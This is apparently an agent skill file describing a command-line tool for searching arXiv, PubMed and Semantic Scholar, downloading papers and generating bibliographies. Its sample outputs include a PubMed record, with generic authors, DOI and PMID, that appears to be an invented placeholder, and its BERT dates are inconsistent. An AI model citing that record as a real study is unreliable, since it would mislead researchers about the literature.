drchronx/ai-agent-research-starter-kit/academic-research-hub

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Use this skill when users need to search academic papers, download research documents, extract citations, or gather scholarly information. Triggers include: requests to \"find papers on\", \"search research about\", \"download academic articles\", \"get citations for\", or any request involving academic databases like arXiv, PubMed, Semantic Scholar, or Google Scholar. Also use for literature reviews, bibliography generation, and research discovery. Requires OpenClawCLI installation from clawhu…

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npx vskill@latest install drchronx/ai-agent-research-starter-kit/academic-research-hub

SKILL.md

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Academic Research Hub

Search and retrieve academic papers from multiple sources including arXiv, PubMed, Semantic Scholar, and more. Download PDFs, extract citations, generate bibliographies, and build literature reviews.

⚠️ Prerequisite: Install OpenClawCLI (Windows, MacOS)

Installation Best Practices:

bash
# Standard installation
pip install arxiv scholarly pubmed-parser semanticscholar requests
 
# If you encounter permission errors, use a virtual environment
python -m venv venv
source venv/bin/activate  # On Windows: venv\Scripts\activate
pip install arxiv scholarly pubmed-parser semanticscholar requests

Never use `--break-system-packages` as it can damage your system's Python installation.

Quick Reference

TaskCommand
Search arXivpython scripts/research.py arxiv "quantum computing"
Search PubMedpython scripts/research.py pubmed "covid vaccine"
Search Semantic Scholarpython scripts/research.py semantic "machine learning"
Download paperspython scripts/research.py arxiv "topic" --download
Get citationspython scripts/research.py arxiv "topic" --citations
Generate bibliographypython scripts/research.py arxiv "topic" --format bibtex
Save resultspython scripts/research.py arxiv "topic" --output results.json

Core Features

1. Multi-Source Search

Search across multiple academic databases from a single interface.

Supported Sources:

  • arXiv - Physics, mathematics, computer science, quantitative biology, quantitative finance, statistics
  • PubMed - Biomedical and life sciences literature
  • Semantic Scholar - Computer science and interdisciplinary research
  • Google Scholar - Broad academic search (limited, no API)
2. Paper Download

Download full-text PDFs when available.

bash
python scripts/research.py arxiv "deep learning" --download --output-dir papers/
3. Citation Extraction

Extract and format citations from papers.

Supported formats:

  • BibTeX
  • RIS
  • JSON
  • Plain text
4. Metadata Retrieval

Get comprehensive metadata for each paper:

  • Title, authors, abstract
  • Publication date
  • Journal/conference
  • DOI, arXiv ID, PubMed ID
  • Citation count
  • References

Source-Specific Commands

arXiv Search

Search the arXiv repository for preprints.

bash
# Basic search
python scripts/research.py arxiv "quantum computing"
 
# Filter by category
python scripts/research.py arxiv "neural networks" --category cs.LG
 
# Filter by date
python scripts/research.py arxiv "transformers" --year 2023
 
# Download papers
python scripts/research.py arxiv "attention mechanism" --download --max-results 10

Available categories:

  • cs.AI - Artificial Intelligence
  • cs.LG - Machine Learning
  • cs.CV - Computer Vision
  • cs.CL - Computation and Language
  • math.CO - Combinatorics
  • physics.optics - Optics
  • q-bio.GN - Genomics
  • Full list

Output:

1. Attention Is All You Need
   Authors: Vaswani et al.
   Published: 2017-06-12
   arXiv ID: 1706.03762
   Categories: cs.CL, cs.LG
   Abstract: The dominant sequence transduction models...
   PDF: http://arxiv.org/pdf/1706.03762v5
PubMed Search

Search biomedical literature indexed in PubMed.

bash
# Basic search
python scripts/research.py pubmed "cancer immunotherapy"
 
# Filter by date range
python scripts/research.py pubmed "CRISPR" --start-date 2023-01-01 --end-date 2023-12-31
 
# Filter by publication type
python scripts/research.py pubmed "covid vaccine" --publication-type "Clinical Trial"
 
# Get full text links
python scripts/research.py pubmed "gene therapy" --full-text

Publication types:

  • Clinical Trial
  • Meta-Analysis
  • Review
  • Systematic Review
  • Randomized Controlled Trial

Output:

1. mRNA vaccine effectiveness against COVID-19
   Authors: Smith J, Jones K, et al.
   Journal: New England Journal of Medicine
   Published: 2023-03-15
   PMID: 36913851
   DOI: 10.1056/NEJMoa2301234
   Abstract: Background: mRNA vaccines have shown...
   Full Text: https://www.ncbi.nlm.nih.gov/pmc/articles/PMC9876543/
Semantic Scholar Search

Search computer science and interdisciplinary research.

bash
# Basic search
python scripts/research.py semantic "reinforcement learning"
 
# Filter by year
python scripts/research.py semantic "graph neural networks" --year 2022
 
# Get highly cited papers
python scripts/research.py semantic "transformers" --min-citations 100
 
# Include references
python scripts/research.py semantic "BERT" --include-references

Output includes:

  • Citation count
  • Influential citation count
  • Reference list
  • Citing papers
  • Fields of study

Output:

1. BERT: Pre-training of Deep Bidirectional Transformers
   Authors: Devlin J, Chang MW, Lee K, Toutanova K
   Published: 2019
   Paper ID: df2b0e26d0599ce3e70df8a9da02e51594e0e992
   Citations: 15000+
   Influential Citations: 2000+
   Fields: Computer Science, Linguistics
   Abstract: We introduce a new language representation model...
   PDF: https://arxiv.org/pdf/1810.04805.pdf

Essential Options

Result Limits

Control the number of results returned.

bash
--max-results N    # Default: 10, range: 1-100

Examples:

bash
python scripts/research.py arxiv "machine learning" --max-results 5
python scripts/research.py pubmed "diabetes" --max-results 50
Output Formats

Choose how results are formatted.

bash
--format <text|json|bibtex|ris|markdown>

Text - Human-readable format (default)

bash
python scripts/research.py arxiv "quantum" --format text

JSON - Structured data for processing

bash
python scripts/research.py arxiv "quantum" --format json

BibTeX - For LaTeX documents

bash
python scripts/research.py arxiv "quantum" --format bibtex

RIS - For reference managers (Zotero, Mendeley)

bash
python scripts/research.py arxiv "quantum" --format ris

Markdown - For documentation

bash
python scripts/research.py arxiv "quantum" --format markdown
Save to File

Save results to a file.

bash
--output <filepath>

Examples:

bash
python scripts/research.py arxiv "AI" --output results.txt
python scripts/research.py pubmed "cancer" --format json --output papers.json
python scripts/research.py semantic "NLP" --format bibtex --output references.bib
Download Papers

Download full-text PDFs when available.

bash
--download
--output-dir <directory>    # Where to save PDFs (default: downloads/)

Examples:

bash
# Download to default directory
python scripts/research.py arxiv "deep learning" --download --max-results 5
 
# Download to specific directory
python scripts/research.py arxiv "transformers" --download --output-dir papers/nlp/

Advanced Features

Citation Extraction

Extract citations from papers.

bash
--citations              # Extract citations
--citation-format <format>    # bibtex, ris, json (default: bibtex)

Example:

bash
python scripts/research.py arxiv "attention mechanism" --citations --citation-format bibtex --output citations.bib
Date Filtering

Filter by publication date.

arXiv:

bash
--year <YYYY>           # Specific year
--start-date <YYYY-MM-DD>
--end-date <YYYY-MM-DD>

PubMed:

bash
--start-date <YYYY-MM-DD>
--end-date <YYYY-MM-DD>

Examples:

bash
python scripts/research.py arxiv "quantum" --year 2023
python scripts/research.py pubmed "vaccine" --start-date 2022-01-01 --end-date 2023-12-31
Author Search

Search for papers by specific authors.

bash
--author "Last, First"

Examples:

bash
python scripts/research.py arxiv "neural networks" --author "Hinton, Geoffrey"
python scripts/research.py semantic "deep learning" --author "Bengio, Yoshua"
Sort Options

Sort results by different criteria.

bash
--sort-by <relevance|date|citations>

Examples:

bash
python scripts/research.py arxiv "machine learning" --sort-by date
python scripts/research.py semantic "NLP" --sort-by citations

Common Workflows

Literature Review

Gather papers on a topic for a literature review.

bash
# Step 1: Search multiple sources
python scripts/research.py arxiv "graph neural networks" --max-results 20 --format json --output arxiv_gnn.json
python scripts/research.py semantic "graph neural networks" --max-results 20 --format json --output semantic_gnn.json
 
# Step 2: Download key papers
python scripts/research.py arxiv "graph neural networks" --download --max-results 10 --output-dir papers/gnn/
 
# Step 3: Generate bibliography
python scripts/research.py arxiv "graph neural networks" --max-results 20 --format bibtex --output gnn_references.bib
Finding Recent Research

Track the latest papers in a field.

bash
# Last year's papers
python scripts/research.py arxiv "large language models" --year 2023 --sort-by date --max-results 30
 
# Last month's biomedical papers
python scripts/research.py pubmed "gene therapy" --start-date 2023-11-01 --end-date 2023-11-30 --format markdown --output recent_gene_therapy.md
Highly Cited Papers

Find influential papers in a field.

bash
python scripts/research.py semantic "reinforcement learning" --min-citations 500 --sort-by citations --max-results 25
Author Publication History

Track an author's work.

bash
python scripts/research.py arxiv "deep learning" --author "LeCun, Yann" --sort-by date --max-results 50 --output lecun_papers.json
Building a Reference Library

Create a comprehensive reference collection.

bash
# Create directory structure
mkdir -p references/{papers,citations}
 
# Search and download papers
python scripts/research.py arxiv "transformers NLP" --download --max-results 15 --output-dir references/papers/
 
# Generate citations
python scripts/research.py arxiv "transformers NLP" --max-results 15 --format bibtex --output references/citations/transformers.bib
Cross-Source Validation

Verify findings across multiple databases.

bash
# Search same topic across sources
python scripts/research.py arxiv "federated learning" --max-results 10 --output arxiv_fl.txt
python scripts/research.py semantic "federated learning" --max-results 10 --output semantic_fl.txt
python scripts/research.py pubmed "federated learning" --max-results 10 --output pubmed_fl.txt
 
# Compare results
diff arxiv_fl.txt semantic_fl.txt

Output Format Examples

Text Format (Default)
Search Results: 3 papers found
 
1. Attention Is All You Need
   Authors: Vaswani, Ashish; Shazeer, Noam; Parmar, Niki; et al.
   Published: 2017-06-12
   arXiv ID: 1706.03762
   Categories: cs.CL, cs.LG
   Abstract: The dominant sequence transduction models are based on complex recurrent or convolutional neural networks...
   PDF: http://arxiv.org/pdf/1706.03762v5
 
2. BERT: Pre-training of Deep Bidirectional Transformers
   Authors: Devlin, Jacob; Chang, Ming-Wei; Lee, Kenton; Toutanova, Kristina
   Published: 2018-10-11
   arXiv ID: 1810.04805
   Categories: cs.CL
   Abstract: We introduce a new language representation model called BERT...
   PDF: http://arxiv.org/pdf/1810.04805v2
JSON Format
json
[
  {
    "title": "Attention Is All You Need",
    "authors": ["Vaswani, Ashish", "Shazeer, Noam", "Parmar, Niki"],
    "published": "2017-06-12",
    "arxiv_id": "1706.03762",
    "categories": ["cs.CL", "cs.LG"],
    "abstract": "The dominant sequence transduction models...",
    "pdf_url": "http://arxiv.org/pdf/1706.03762v5",
    "doi": "10.48550/arXiv.1706.03762"
  }
]
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